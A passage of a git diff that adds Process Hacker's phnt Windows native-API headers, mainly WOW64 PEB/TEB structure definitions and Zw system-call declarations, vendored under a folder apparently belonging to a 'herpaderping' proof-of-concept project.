winbase:WaitForThreadpoolWaitCallbacks +NTSYSAPI +VOID +NTAPI +TpWaitForWait( + _Inout_ PTP_WAIT Wait, + _In_ LOGICAL CancelPendingCallbacks + ); + +// private +typedef VOID (NTAPI *PTP_IO_CALLBACK)( + _Inout_ PTP_CALLBACK_INSTANCE Instance, + _Inout_opt_ PVOID Context, + _In_ PVOID ApcContext, + _In_ PIO_STATUS_BLOCK IoSB, + _In_ PTP_IO Io + ); + +// private +_Check_return_ +NTSYSAPI +NTSTATUS +NTAPI +TpAllocIoCompletion( + _Out_ PTP_IO *IoReturn, + _In_ HANDLE File, + _In_ PTP_IO_CALLBACK Callback, + _Inout_opt_ PVOID Context, + _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron + ); + +// winbase:CloseThreadpoolIo +NTSYSAPI +VOID +NTAPI +TpReleaseIoCompletion( + _Inout_ PTP_IO Io + ); + +// winbase:StartThreadpoolIo +NTSYSAPI +VOID +NTAPI +TpStartAsyncIoOperation( + _Inout_ PTP_IO Io + ); + +// winbase:CancelThreadpoolIo +NTSYSAPI +VOID +NTAPI +TpCancelAsyncIoOperation( + _Inout_ PTP_IO Io + ); + +// winbase:WaitForThreadpoolIoCallbacks +NTSYSAPI +VOID +NTAPI +TpWaitForIoCompletion( + _Inout_ PTP_IO Io, + _In_ LOGICAL CancelPendingCallbacks + ); + +// private +NTSYSAPI +NTSTATUS +NTAPI +TpAllocAlpcCompletion( + _Out_ PTP_ALPC *AlpcReturn, + _In_ HANDLE AlpcPort, + _In_ PTP_ALPC_CALLBACK Callback, + _Inout_opt_ PVOID Context, + _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron + ); + +#if (PHNT_VERSION >= PHNT_WIN7) +// rev +NTSYSAPI +NTSTATUS +NTAPI +TpAllocAlpcCompletionEx( + _Out_ PTP_ALPC *AlpcReturn, + _In_ HANDLE AlpcPort, + _In_ PTP_ALPC_CALLBACK_EX Callback, + _Inout_opt_ PVOID Context, + _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron + ); +#endif + +// private +NTSYSAPI +VOID +NTAPI +TpReleaseAlpcCompletion( + _Inout_ PTP_ALPC Alpc + ); + +// private +NTSYSAPI +VOID +NTAPI +TpWaitForAlpcCompletion( + _Inout_ PTP_ALPC Alpc + ); + +// private +typedef enum _TP_TRACE_TYPE +{ + TpTraceThreadPriority = 1, + TpTraceThreadAffinity, + MaxTpTraceType +} TP_TRACE_TYPE; + +// private +NTSYSAPI +VOID +NTAPI +TpCaptureCaller( + _In_ TP_TRACE_TYPE Type + ); + +// private +NTSYSAPI +VOID +NTAPI +TpCheckTerminateWorker( + _In_ HANDLE Thread + ); + +#endif + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntwow64.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntwow64.h new file mode 100644 index 00000000..aa8ebda1 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntwow64.h @@ -0,0 +1,593 @@ +/* + * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#ifndef _NTWOW64_H +#define _NTWOW64_H + +#define WOW64_SYSTEM_DIRECTORY "SysWOW64" +#define WOW64_SYSTEM_DIRECTORY_U L"SysWOW64" +#define WOW64_X86_TAG " (x86)" +#define WOW64_X86_TAG_U L" (x86)" + +// In USER_SHARED_DATA +typedef enum _WOW64_SHARED_INFORMATION +{ + SharedNtdll32LdrInitializeThunk, + SharedNtdll32KiUserExceptionDispatcher, + SharedNtdll32KiUserApcDispatcher, + SharedNtdll32KiUserCallbackDispatcher, + SharedNtdll32ExpInterlockedPopEntrySListFault, + SharedNtdll32ExpInterlockedPopEntrySListResume, + SharedNtdll32ExpInterlockedPopEntrySListEnd, + SharedNtdll32RtlUserThreadStart, + SharedNtdll32pQueryProcessDebugInformationRemote, + SharedNtdll32BaseAddress, + SharedNtdll32LdrSystemDllInitBlock, + Wow64SharedPageEntriesCount +} WOW64_SHARED_INFORMATION; + +// 32-bit definitions + +#define WOW64_POINTER(Type) ULONG + +typedef struct _RTL_BALANCED_NODE32 +{ + union + { + WOW64_POINTER(struct _RTL_BALANCED_NODE *) Children[2]; + struct + { + WOW64_POINTER(struct _RTL_BALANCED_NODE *) Left; + WOW64_POINTER(struct _RTL_BALANCED_NODE *) Right; + }; + }; + union + { + WOW64_POINTER(UCHAR) Red : 1; + WOW64_POINTER(UCHAR) Balance : 2; + WOW64_POINTER(ULONG_PTR) ParentValue; + }; +} RTL_BALANCED_NODE32, *PRTL_BALANCED_NODE32; + +typedef struct _RTL_RB_TREE32 +{ + WOW64_POINTER(PRTL_BALANCED_NODE) Root; + WOW64_POINTER(PRTL_BALANCED_NODE) Min; +} RTL_RB_TREE32, *PRTL_RB_TREE32; + +typedef struct _PEB_LDR_DATA32 +{ + ULONG Length; + BOOLEAN Initialized; + WOW64_POINTER(HANDLE) SsHandle; + LIST_ENTRY32 InLoadOrderModuleList; + LIST_ENTRY32 InMemoryOrderModuleList; + LIST_ENTRY32 InInitializationOrderModuleList; + WOW64_POINTER(PVOID) EntryInProgress; + BOOLEAN ShutdownInProgress; + WOW64_POINTER(HANDLE) ShutdownThreadId; +} PEB_LDR_DATA32, *PPEB_LDR_DATA32; + +typedef struct _LDR_SERVICE_TAG_RECORD32 +{ + WOW64_POINTER(struct _LDR_SERVICE_TAG_RECORD *) Next; + ULONG ServiceTag; +} LDR_SERVICE_TAG_RECORD32, *PLDR_SERVICE_TAG_RECORD32; + +typedef struct _LDRP_CSLIST32 +{ + WOW64_POINTER(PSINGLE_LIST_ENTRY) Tail; +} LDRP_CSLIST32, *PLDRP_CSLIST32; + +typedef struct _LDR_DDAG_NODE32 +{ + LIST_ENTRY32 Modules; + WOW64_POINTER(PLDR_SERVICE_TAG_RECORD) ServiceTagList; + ULONG LoadCount; + ULONG LoadWhileUnloadingCount; + ULONG LowestLink; + union + { + LDRP_CSLIST32 Dependencies; + SINGLE_LIST_ENTRY32 RemovalLink; + }; + LDRP_CSLIST32 IncomingDependencies; + LDR_DDAG_STATE State; + SINGLE_LIST_ENTRY32 CondenseLink; + ULONG PreorderNumber; +} LDR_DDAG_NODE32, *PLDR_DDAG_NODE32; + +#define LDR_DATA_TABLE_ENTRY_SIZE_WINXP_32 FIELD_OFFSET(LDR_DATA_TABLE_ENTRY32, DdagNode) +#define LDR_DATA_TABLE_ENTRY_SIZE_WIN7_32 FIELD_OFFSET(LDR_DATA_TABLE_ENTRY32, BaseNameHashValue) +#define LDR_DATA_TABLE_ENTRY_SIZE_WIN8_32 FIELD_OFFSET(LDR_DATA_TABLE_ENTRY32, ImplicitPathOptions) + +typedef struct _LDR_DATA_TABLE_ENTRY32 +{ + LIST_ENTRY32 InLoadOrderLinks; + LIST_ENTRY32 InMemoryOrderLinks; + union + { + LIST_ENTRY32 InInitializationOrderLinks; + LIST_ENTRY32 InProgressLinks; + }; + WOW64_POINTER(PVOID) DllBase; + WOW64_POINTER(PVOID) EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING32 FullDllName; + UNICODE_STRING32 BaseDllName; + union + { + UCHAR FlagGroup[4]; + ULONG Flags; + struct + { + ULONG PackagedBinary : 1; + ULONG MarkedForRemoval : 1; + ULONG ImageDll : 1; + ULONG LoadNotificationsSent : 1; + ULONG TelemetryEntryProcessed : 1; + ULONG ProcessStaticImport : 1; + ULONG InLegacyLists : 1; + ULONG InIndexes : 1; + ULONG ShimDll : 1; + ULONG InExceptionTable : 1; + ULONG ReservedFlags1 : 2; + ULONG LoadInProgress : 1; + ULONG LoadConfigProcessed : 1; + ULONG EntryProcessed : 1; + ULONG ProtectDelayLoad : 1; + ULONG ReservedFlags3 : 2; + ULONG DontCallForThreads : 1; + ULONG ProcessAttachCalled : 1; + ULONG ProcessAttachFailed : 1; + ULONG CorDeferredValidate : 1; + ULONG CorImage : 1; + ULONG DontRelocate : 1; + ULONG CorILOnly : 1; + ULONG ChpeImage : 1; + ULONG ReservedFlags5 : 2; + ULONG Redirected : 1; + ULONG ReservedFlags6 : 2; + ULONG CompatDatabaseProcessed : 1; + }; + }; + USHORT ObsoleteLoadCount; + USHORT TlsIndex; + LIST_ENTRY32 HashLinks; + ULONG TimeDateStamp; + WOW64_POINTER(struct _ACTIVATION_CONTEXT *) EntryPointActivationContext; + WOW64_POINTER(PVOID) Lock; + WOW64_POINTER(PLDR_DDAG_NODE) DdagNode; + LIST_ENTRY32 NodeModuleLink; + WOW64_POINTER(struct _LDRP_LOAD_CONTEXT *) LoadContext; + WOW64_POINTER(PVOID) ParentDllBase; + WOW64_POINTER(PVOID) SwitchBackContext; + RTL_BALANCED_NODE32 BaseAddressIndexNode; + RTL_BALANCED_NODE32 MappingInfoIndexNode; + WOW64_POINTER(ULONG_PTR) OriginalBase; + LARGE_INTEGER LoadTime; + ULONG BaseNameHashValue; + LDR_DLL_LOAD_REASON LoadReason; + ULONG ImplicitPathOptions; + ULONG ReferenceCount; + ULONG DependentLoadFlags; + UCHAR SigningLevel; // since REDSTONE2 +} LDR_DATA_TABLE_ENTRY32, *PLDR_DATA_TABLE_ENTRY32; + +typedef struct _CURDIR32 +{ + UNICODE_STRING32 DosPath; + WOW64_POINTER(HANDLE) Handle; +} CURDIR32, *PCURDIR32; + +typedef struct _RTL_DRIVE_LETTER_CURDIR32 +{ + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + STRING32 DosPath; +} RTL_DRIVE_LETTER_CURDIR32, *PRTL_DRIVE_LETTER_CURDIR32; + +typedef struct _RTL_USER_PROCESS_PARAMETERS32 +{ + ULONG MaximumLength; + ULONG Length; + + ULONG Flags; + ULONG DebugFlags; + + WOW64_POINTER(HANDLE) ConsoleHandle; + ULONG ConsoleFlags; + WOW64_POINTER(HANDLE) StandardInput; + WOW64_POINTER(HANDLE) StandardOutput; + WOW64_POINTER(HANDLE) StandardError; + + CURDIR32 CurrentDirectory; + UNICODE_STRING32 DllPath; + UNICODE_STRING32 ImagePathName; + UNICODE_STRING32 CommandLine; + WOW64_POINTER(PVOID) Environment; + + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; + + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING32 WindowTitle; + UNICODE_STRING32 DesktopInfo; + UNICODE_STRING32 ShellInfo; + UNICODE_STRING32 RuntimeData; + RTL_DRIVE_LETTER_CURDIR32 CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; + + WOW64_POINTER(ULONG_PTR) EnvironmentSize; + WOW64_POINTER(ULONG_PTR) EnvironmentVersion; + WOW64_POINTER(PVOID) PackageDependencyData; + ULONG ProcessGroupId; + ULONG LoaderThreads; + + UNICODE_STRING32 RedirectionDllName; // REDSTONE4 + UNICODE_STRING32 HeapPartitionName; // 19H1 + WOW64_POINTER(ULONG_PTR) DefaultThreadpoolCpuSetMasks; + ULONG DefaultThreadpoolCpuSetMaskCount; +} RTL_USER_PROCESS_PARAMETERS32, *PRTL_USER_PROCESS_PARAMETERS32; + +typedef struct _PEB32 +{ + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + union + { + BOOLEAN BitField; + struct + { + BOOLEAN ImageUsesLargePages : 1; + BOOLEAN IsProtectedProcess : 1; + BOOLEAN IsImageDynamicallyRelocated : 1; + BOOLEAN SkipPatchingUser32Forwarders : 1; + BOOLEAN IsPackagedProcess : 1; + BOOLEAN IsAppContainer : 1; + BOOLEAN IsProtectedProcessLight : 1; + BOOLEAN IsLongPathAwareProcess : 1; + }; + }; + WOW64_POINTER(HANDLE) Mutant; + + WOW64_POINTER(PVOID) ImageBaseAddress; + WOW64_POINTER(PPEB_LDR_DATA) Ldr; + WOW64_POINTER(PRTL_USER_PROCESS_PARAMETERS) ProcessParameters; + WOW64_POINTER(PVOID) SubSystemData; + WOW64_POINTER(PVOID) ProcessHeap; + WOW64_POINTER(PRTL_CRITICAL_SECTION) FastPebLock; + WOW64_POINTER(PVOID) AtlThunkSListPtr; + WOW64_POINTER(PVOID) IFEOKey; + union + { + ULONG CrossProcessFlags; + struct + { + ULONG ProcessInJob : 1; + ULONG ProcessInitializing : 1; + ULONG ProcessUsingVEH : 1; + ULONG ProcessUsingVCH : 1; + ULONG ProcessUsingFTH : 1; + ULONG ReservedBits0 : 27; + }; + }; + union + { + WOW64_POINTER(PVOID) KernelCallbackTable; + WOW64_POINTER(PVOID) UserSharedInfoPtr; + }; + ULONG SystemReserved; + ULONG AtlThunkSListPtr32; + WOW64_POINTER(PVOID) ApiSetMap; + ULONG TlsExpansionCounter; + WOW64_POINTER(PVOID) TlsBitmap; + ULONG TlsBitmapBits[2]; + WOW64_POINTER(PVOID) ReadOnlySharedMemoryBase; + WOW64_POINTER(PVOID) HotpatchInformation; + WOW64_POINTER(PVOID *) ReadOnlyStaticServerData; + WOW64_POINTER(PVOID) AnsiCodePageData; + WOW64_POINTER(PVOID) OemCodePageData; + WOW64_POINTER(PVOID) UnicodeCaseTableData; + + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + + LARGE_INTEGER CriticalSectionTimeout; + WOW64_POINTER(SIZE_T) HeapSegmentReserve; + WOW64_POINTER(SIZE_T) HeapSegmentCommit; + WOW64_POINTER(SIZE_T) HeapDeCommitTotalFreeThreshold; + WOW64_POINTER(SIZE_T) HeapDeCommitFreeBlockThreshold; + + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + WOW64_POINTER(PVOID *) ProcessHeaps; + + WOW64_POINTER(PVOID) GdiSharedHandleTable; + WOW64_POINTER(PVOID) ProcessStarterHelper; + ULONG GdiDCAttributeList; + + WOW64_POINTER(PRTL_CRITICAL_SECTION) LoaderLock; + + ULONG OSMajorVersion; + ULONG OSMinorVersion; + USHORT OSBuildNumber; + USHORT OSCSDVersion; + ULONG OSPlatformId; + ULONG ImageSubsystem; + ULONG ImageSubsystemMajorVersion; + ULONG ImageSubsystemMinorVersion; + WOW64_POINTER(ULONG_PTR) ActiveProcessAffinityMask; + GDI_HANDLE_BUFFER32 GdiHandleBuffer; + WOW64_POINTER(PVOID) PostProcessInitRoutine; + + WOW64_POINTER(PVOID) TlsExpansionBitmap; + ULONG TlsExpansionBitmapBits[32]; + + ULONG SessionId; + + ULARGE_INTEGER AppCompatFlags; + ULARGE_INTEGER AppCompatFlagsUser; + WOW64_POINTER(PVOID) pShimData; + WOW64_POINTER(PVOID) AppCompatInfo; + + UNICODE_STRING32 CSDVersion; + + WOW64_POINTER(PVOID) ActivationContextData; + WOW64_POINTER(PVOID) ProcessAssemblyStorageMap; + WOW64_POINTER(PVOID) SystemDefaultActivationContextData; + WOW64_POINTER(PVOID) SystemAssemblyStorageMap; + + WOW64_POINTER(SIZE_T) MinimumStackCommit; + + WOW64_POINTER(PVOID) SparePointers[4]; + ULONG SpareUlongs[5]; + //WOW64_POINTER(PVOID *) FlsCallback; + //LIST_ENTRY32 FlsListHead; + //WOW64_POINTER(PVOID) FlsBitmap; + //ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)]; + //ULONG FlsHighIndex; + + WOW64_POINTER(PVOID) WerRegistrationData; + WOW64_POINTER(PVOID) WerShipAssertPtr; + WOW64_POINTER(PVOID) pContextData; + WOW64_POINTER(PVOID) pImageHeaderHash; + union + { + ULONG TracingFlags; + struct + { + ULONG HeapTracingEnabled : 1; + ULONG CritSecTracingEnabled : 1; + ULONG LibLoaderTracingEnabled : 1; + ULONG SpareTracingBits : 29; + }; + }; + ULONGLONG CsrServerReadOnlySharedMemoryBase; + WOW64_POINTER(PVOID) TppWorkerpListLock; + LIST_ENTRY32 TppWorkerpList; + WOW64_POINTER(PVOID) WaitOnAddressHashTable[128]; + WOW64_POINTER(PVOID) TelemetryCoverageHeader; // REDSTONE3 + ULONG CloudFileFlags; + ULONG CloudFileDiagFlags; // REDSTONE4 + CHAR PlaceholderCompatibilityMode; + CHAR PlaceholderCompatibilityModeReserved[7]; +} PEB32, *PPEB32; + +C_ASSERT(FIELD_OFFSET(PEB32, IFEOKey) == 0x024); +C_ASSERT(FIELD_OFFSET(PEB32, UnicodeCaseTableData) == 0x060); +C_ASSERT(FIELD_OFFSET(PEB32, SystemAssemblyStorageMap) == 0x204); +C_ASSERT(FIELD_OFFSET(PEB32, pImageHeaderHash) == 0x23c); +C_ASSERT(FIELD_OFFSET(PEB32, WaitOnAddressHashTable) == 0x25c); +//C_ASSERT(sizeof(PEB32) == 0x460); // REDSTONE3 +C_ASSERT(sizeof(PEB32) == 0x470); + +#define GDI_BATCH_BUFFER_SIZE 310 + +typedef struct _GDI_TEB_BATCH32 +{ + ULONG Offset; + WOW64_POINTER(ULONG_PTR) HDC; + ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; +} GDI_TEB_BATCH32, *PGDI_TEB_BATCH32; + +typedef struct _TEB32 +{ + NT_TIB32 NtTib; + + WOW64_POINTER(PVOID) EnvironmentPointer; + CLIENT_ID32 ClientId; + WOW64_POINTER(PVOID) ActiveRpcHandle; + WOW64_POINTER(PVOID) ThreadLocalStoragePointer; + WOW64_POINTER(PPEB) ProcessEnvironmentBlock; + + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + WOW64_POINTER(PVOID) CsrClientThread; + WOW64_POINTER(PVOID) Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + WOW64_POINTER(PVOID) WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + WOW64_POINTER(PVOID) ReservedForDebuggerInstrumentation[16]; + WOW64_POINTER(PVOID) SystemReserved1[36]; + UCHAR WorkingOnBehalfTicket[8]; + NTSTATUS ExceptionCode; + + WOW64_POINTER(PVOID) ActivationContextStackPointer; + WOW64_POINTER(ULONG_PTR) InstrumentationCallbackSp; + WOW64_POINTER(ULONG_PTR) InstrumentationCallbackPreviousPc; + WOW64_POINTER(ULONG_PTR) InstrumentationCallbackPreviousSp; + BOOLEAN InstrumentationCallbackDisabled; + UCHAR SpareBytes[23]; + ULONG TxFsContext; + + GDI_TEB_BATCH32 GdiTebBatch; + CLIENT_ID32 RealClientId; + WOW64_POINTER(HANDLE) GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + WOW64_POINTER(PVOID) GdiThreadLocalInfo; + WOW64_POINTER(ULONG_PTR) Win32ClientInfo[62]; + WOW64_POINTER(PVOID) glDispatchTable[233]; + WOW64_POINTER(ULONG_PTR) glReserved1[29]; + WOW64_POINTER(PVOID) glReserved2; + WOW64_POINTER(PVOID) glSectionInfo; + WOW64_POINTER(PVOID) glSection; + WOW64_POINTER(PVOID) glTable; + WOW64_POINTER(PVOID) glCurrentRC; + WOW64_POINTER(PVOID) glContext; + + NTSTATUS LastStatusValue; + UNICODE_STRING32 StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + + WOW64_POINTER(PVOID) DeallocationStack; + WOW64_POINTER(PVOID) TlsSlots[64]; + LIST_ENTRY32 TlsLinks; + + WOW64_POINTER(PVOID) Vdm; + WOW64_POINTER(PVOID) ReservedForNtRpc; + WOW64_POINTER(PVOID) DbgSsReserved[2]; + + ULONG HardErrorMode; + WOW64_POINTER(PVOID) Instrumentation[9]; + GUID ActivityId; + + WOW64_POINTER(PVOID) SubProcessTag; + WOW64_POINTER(PVOID) PerflibData; + WOW64_POINTER(PVOID) EtwTraceData; + WOW64_POINTER(PVOID) WinSockData; + ULONG GdiBatchCount; + + union + { + PROCESSOR_NUMBER CurrentIdealProcessor; + ULONG IdealProcessorValue; + struct + { + UCHAR ReservedPad0; + UCHAR ReservedPad1; + UCHAR ReservedPad2; + UCHAR IdealProcessor; + }; + }; + + ULONG GuaranteedStackBytes; + WOW64_POINTER(PVOID) ReservedForPerf; + WOW64_POINTER(PVOID) ReservedForOle; + ULONG WaitingOnLoaderLock; + WOW64_POINTER(PVOID) SavedPriorityState; + WOW64_POINTER(ULONG_PTR) ReservedForCodeCoverage; + WOW64_POINTER(PVOID) ThreadPoolData; + WOW64_POINTER(PVOID *) TlsExpansionSlots; + + ULONG MuiGeneration; + ULONG IsImpersonating; + WOW64_POINTER(PVOID) NlsCache; + WOW64_POINTER(PVOID) pShimData; + USHORT HeapVirtualAffinity; + USHORT LowFragHeapDataSlot; + WOW64_POINTER(HANDLE) CurrentTransactionHandle; + WOW64_POINTER(PTEB_ACTIVE_FRAME) ActiveFrame; + WOW64_POINTER(PVOID) FlsData; + + WOW64_POINTER(PVOID) PreferredLanguages; + WOW64_POINTER(PVOID) UserPrefLanguages; + WOW64_POINTER(PVOID) MergedPrefLanguages; + ULONG MuiImpersonation; + + union + { + USHORT CrossTebFlags; + USHORT SpareCrossTebBits : 16; + }; + union + { + USHORT SameTebFlags; + struct + { + USHORT SafeThunkCall : 1; + USHORT InDebugPrint : 1; + USHORT HasFiberData : 1; + USHORT SkipThreadAttach : 1; + USHORT WerInShipAssertCode : 1; + USHORT RanProcessInit : 1; + USHORT ClonedThread : 1; + USHORT SuppressDebugMsg : 1; + USHORT DisableUserStackWalk : 1; + USHORT RtlExceptionAttached : 1; + USHORT InitialThread : 1; + USHORT SessionAware : 1; + USHORT LoadOwner : 1; + USHORT LoaderWorker : 1; + USHORT SpareSameTebBits : 2; + }; + }; + + WOW64_POINTER(PVOID) TxnScopeEnterCallback; + WOW64_POINTER(PVOID) TxnScopeExitCallback; + WOW64_POINTER(PVOID) TxnScopeContext; + ULONG LockCount; + LONG WowTebOffset; + WOW64_POINTER(PVOID) ResourceRetValue; + WOW64_POINTER(PVOID) ReservedForWdf; + ULONGLONG ReservedForCrt; + GUID EffectiveContainerId; +} TEB32, *PTEB32; + +C_ASSERT(FIELD_OFFSET(TEB32, ProcessEnvironmentBlock) == 0x030); +C_ASSERT(FIELD_OFFSET(TEB32, ExceptionCode) == 0x1a4); +C_ASSERT(FIELD_OFFSET(TEB32, TxFsContext) == 0x1d0); +C_ASSERT(FIELD_OFFSET(TEB32, glContext) == 0xbf0); +C_ASSERT(FIELD_OFFSET(TEB32, StaticUnicodeBuffer) == 0xc00); +C_ASSERT(FIELD_OFFSET(TEB32, TlsLinks) == 0xf10); +C_ASSERT(FIELD_OFFSET(TEB32, DbgSsReserved) == 0xf20); +C_ASSERT(FIELD_OFFSET(TEB32, ActivityId) == 0xf50); +C_ASSERT(FIELD_OFFSET(TEB32, GdiBatchCount) == 0xf70); +C_ASSERT(FIELD_OFFSET(TEB32, TlsExpansionSlots) == 0xf94); +C_ASSERT(FIELD_OFFSET(TEB32, FlsData) == 0xfb4); +C_ASSERT(FIELD_OFFSET(TEB32, MuiImpersonation) == 0xfc4); +C_ASSERT(FIELD_OFFSET(TEB32, ReservedForCrt) == 0xfe8); +C_ASSERT(FIELD_OFFSET(TEB32, EffectiveContainerId) == 0xff0); +C_ASSERT(sizeof(TEB32) == 0x1000); + +// Conversion + +FORCEINLINE VOID UStr32ToUStr( + _Out_ PUNICODE_STRING Destination, + _In_ PUNICODE_STRING32 Source + ) +{ + Destination->Length = Source->Length; + Destination->MaximumLength = Source->MaximumLength; + Destination->Buffer = (PWCH)UlongToPtr(Source->Buffer); +} + +FORCEINLINE VOID UStrToUStr32( + _Out_ PUNICODE_STRING32 Destination, + _In_ PUNICODE_STRING Source + ) +{ + Destination->Length = Source->Length; + Destination->MaximumLength = Source->MaximumLength; + Destination->Buffer = PtrToUlong(Source->Buffer); +} + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntxcapi.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntxcapi.h new file mode 100644 index 00000000..b9d203c0 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntxcapi.h @@ -0,0 +1,75 @@ +/* + * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#ifndef _NTXCAPI_H +#define _NTXCAPI_H + +NTSYSAPI +BOOLEAN +NTAPI +RtlDispatchException( + _In_ PEXCEPTION_RECORD ExceptionRecord, + _In_ PCONTEXT ContextRecord + ); + +NTSYSAPI +DECLSPEC_NORETURN +VOID +NTAPI +RtlRaiseStatus( + _In_ NTSTATUS Status + ); + +NTSYSAPI +VOID +NTAPI +RtlRaiseException( + _In_ PEXCEPTION_RECORD ExceptionRecord + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtContinue( + _In_ PCONTEXT ContextRecord, + _In_ BOOLEAN TestAlert + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRaiseException( + _In_ PEXCEPTION_RECORD ExceptionRecord, + _In_ PCONTEXT ContextRecord, + _In_ BOOLEAN FirstChance + ); + +__analysis_noreturn +NTSYSCALLAPI +VOID +NTAPI +RtlAssert( + _In_ PVOID VoidFailedAssertion, + _In_ PVOID VoidFileName, + _In_ ULONG LineNumber, + _In_opt_ PSTR MutableMessage + ); + +#define RTL_ASSERT(exp) \ + ((!(exp)) ? (RtlAssert((PVOID)#exp, (PVOID)__FILE__, __LINE__, NULL), FALSE) : TRUE) +#define RTL_ASSERTMSG(msg, exp) \ + ((!(exp)) ? (RtlAssert((PVOID)#exp, (PVOID)__FILE__, __LINE__, msg), FALSE) : TRUE) +#define RTL_SOFT_ASSERT(_exp) \ + ((!(_exp)) ? (DbgPrint("%s(%d): Soft assertion failed\n Expression: %s\n", __FILE__, __LINE__, #_exp), FALSE) : TRUE) +#define RTL_SOFT_ASSERTMSG(_msg, _exp) \ + ((!(_exp)) ? (DbgPrint("%s(%d): Soft assertion failed\n Expression: %s\n Message: %s\n", __FILE__, __LINE__, #_exp, (_msg)), FALSE) : TRUE) + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntzwapi.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntzwapi.h new file mode 100644 index 00000000..5bd54d14 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntzwapi.h @@ -0,0 +1,4495 @@ +/* + * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#ifndef _NTZWAPI_H +#define _NTZWAPI_H + +// This file was automatically generated. Do not edit. + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAcceptConnectPort( + _Out_ PHANDLE PortHandle, + _In_opt_ PVOID PortContext, + _In_ PPORT_MESSAGE ConnectionRequest, + _In_ BOOLEAN AcceptConnection, + _Inout_opt_ PPORT_VIEW ServerView, + _Out_opt_ PREMOTE_PORT_VIEW ClientView + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAccessCheck( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ PGENERIC_MAPPING GenericMapping, + _Out_writes_bytes_(*PrivilegeSetLength) PPRIVILEGE_SET PrivilegeSet, + _Inout_ PULONG PrivilegeSetLength, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAccessCheckAndAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ ACCESS_MASK DesiredAccess, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ BOOLEAN ObjectCreation, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAccessCheckByType( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_reads_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _Out_writes_bytes_(*PrivilegeSetLength) PPRIVILEGE_SET PrivilegeSet, + _Inout_ PULONG PrivilegeSetLength, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAccessCheckByTypeAndAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ ACCESS_MASK DesiredAccess, + _In_ AUDIT_EVENT_TYPE AuditType, + _In_ ULONG Flags, + _In_reads_opt_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING 